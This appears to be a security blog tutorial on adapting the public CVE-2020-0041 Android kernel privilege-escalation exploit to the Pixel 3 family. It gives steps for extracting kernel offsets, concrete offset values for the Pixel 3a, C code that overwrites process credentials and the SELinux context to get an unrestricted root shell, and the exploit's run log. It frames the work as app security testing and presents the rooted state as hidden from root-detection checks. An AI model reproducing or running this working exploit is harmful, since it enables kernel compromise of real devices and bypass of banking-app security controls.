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There are different root frameworks that can be used on Android in order to obtain root privileges. Usually, during Android application security evaluations, root detection is tested in different ways. Application countermeasures such as root detection are easy to bypass in most of the Android applications and sometimes without the use of reverse engineering techniques; however, as I’ve been seen during the analysis of banking applications, bypassing root detection on these applications can be hard and time consuming due high obfuscation and countermeasures applied.

A common procedure in the industry is the adaptation of privilege escalation exploits that are not detectable by most of the applications. In this post I will explain how to adapt bluefrostsecurity CVE-2020-0041 PoC for Pixel 3 to all the Pixel3 family devices. Furthermore, I will provide an improvement to obtain a non-limited root shell.


  • Download the CVE-2020-0041 PoC exploit that we will be using for the modifications:
git clone
  • In order to adapt the exploit for any Pixel 3 device, the specific Pixel 3 vulnerable firmware (QQ1A.200205.002) needs to be downloaded from official website. A list of the specific devices links can be found below:

  • Download abootimg and compile it:

git clone
cd abootimg
sudo apt install python3-pip
sudo pip3 install --upgrade lz4 git+
  • In addition, we will need the Android NDK in our path in order to compile the exploit. As an example, I have this line on my .zshrc file.
export NDK="/home/calabres/NDK"

Adapting the exploit

Pixel 3 offsets are already setted up, you only need to adapt the exploit if you have a Pixel 3a or Pixel 3 XL.

  1. First of all we need to extract the compressed kernel image from the boot.img. For that, we will use the already downloaded tool abootimg.
./abootimg -x [path_to_boot_img]

The produced zImage, is an image that contains the compressed Android Kernel.

  1. In order to obtain an uncompressed image of the Kernel that contains correct symbols and offsets, use the vmlinux-to-elf tool.
vmlinux-to-elf [path_to_zImage] kernel.elf
  1. Use the disassembler of your preference to find the labels related with the exploit offsets found in exploit.c. The labels to find inside the kernel are the following:
  1. Change exploit.c offsets for the offsets found in your device kernel image, in my case Pixel 3a offsets are:
#define MEMSTART_ADDR_OFFSET 0x23a6390
#define SYSCTL_TABLE_ROOT_OFFSET 0x2dda178
#define PROC_DOUINTVEC_OFFSET 0x19e8758
#define INIT_TASK_OFFSET 0x2da1e00L
#define INIT_CRED_OFFSET 0x2db0238
#define OFFSET_PIPE_FOP 0x2173650

Issues & improvements

After the adaptation of the exploit and its execution, you will obtain a root shell; however, this root shell is very limited and you will have some problems executing binaries and creating files. Finding on the Internet I found the issue: you need to patch the security context of the root user.

During the exploit execution the process executed need to be patched with the correct security context for the root user. The next function is used to patch the credentials of a specific address:

void patch_task_cred(uint64_t cred_addr, uint32_t init_sid)
    uint64_t val;
    struct cred *cred = (void *)cred_addr;
    struct task_security_struct *sec;

    if (cred == NULL)

    val = 0;
    write32((uint64_t)&cred->uid, val);
    write32((uint64_t)&cred->gid, val);
    write32((uint64_t)&cred->suid, val);
    write32((uint64_t)&cred->sgid, val);
    write32((uint64_t)&cred->euid, val);
    write32((uint64_t)&cred->egid, val);
    write32((uint64_t)&cred->fsuid, val);
    write32((uint64_t)&cred->fsgid, val);
    write32((uint64_t)&cred->securebits, val);

    val = ~(0UL);
    write64((uint64_t)&cred->cap_inheritable, val);
    write64((uint64_t)&cred->cap_permitted, val);
    write64((uint64_t)&cred->cap_effective, val);
    write64((uint64_t)&cred->cap_bset, val);

    sec = (void *)read64((uint64_t)&cred->security);

    if (sec != NULL) {
        write32((uint64_t)&sec->osid, init_sid);
        write32((uint64_t)&sec->sid, init_sid);

Testing the exploit

The exploit can be built by simply running “make” with the Android NDK in the path. It can also be pushed to a phone attached with adb by doing “make all push”. Now just run /data/local/tmp/poc from an adb shell to see the exploit running:

[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
root_by_cve-2020-0041:/ # 

I usually run run rootbeer sample app for a fast root detection test. Despite this third party library is not using the same detection methods as banking applications is a good way to get an idea of how much your rooted device is hidden. Rootbeer was not able to detect root while using this privilege escalation exploit.

Using rootbeer

Fully adapted exploit

I’ve prepared a Pixel 3 adapted exploit for you, this exploit doesn’t have any limitations and works properly without any changes. If you want to update it for other devices you only need to clone my repository and change the offsets for your specific device. You can find a working version of the adapted exploit for Pixel 3 on my GitHub page.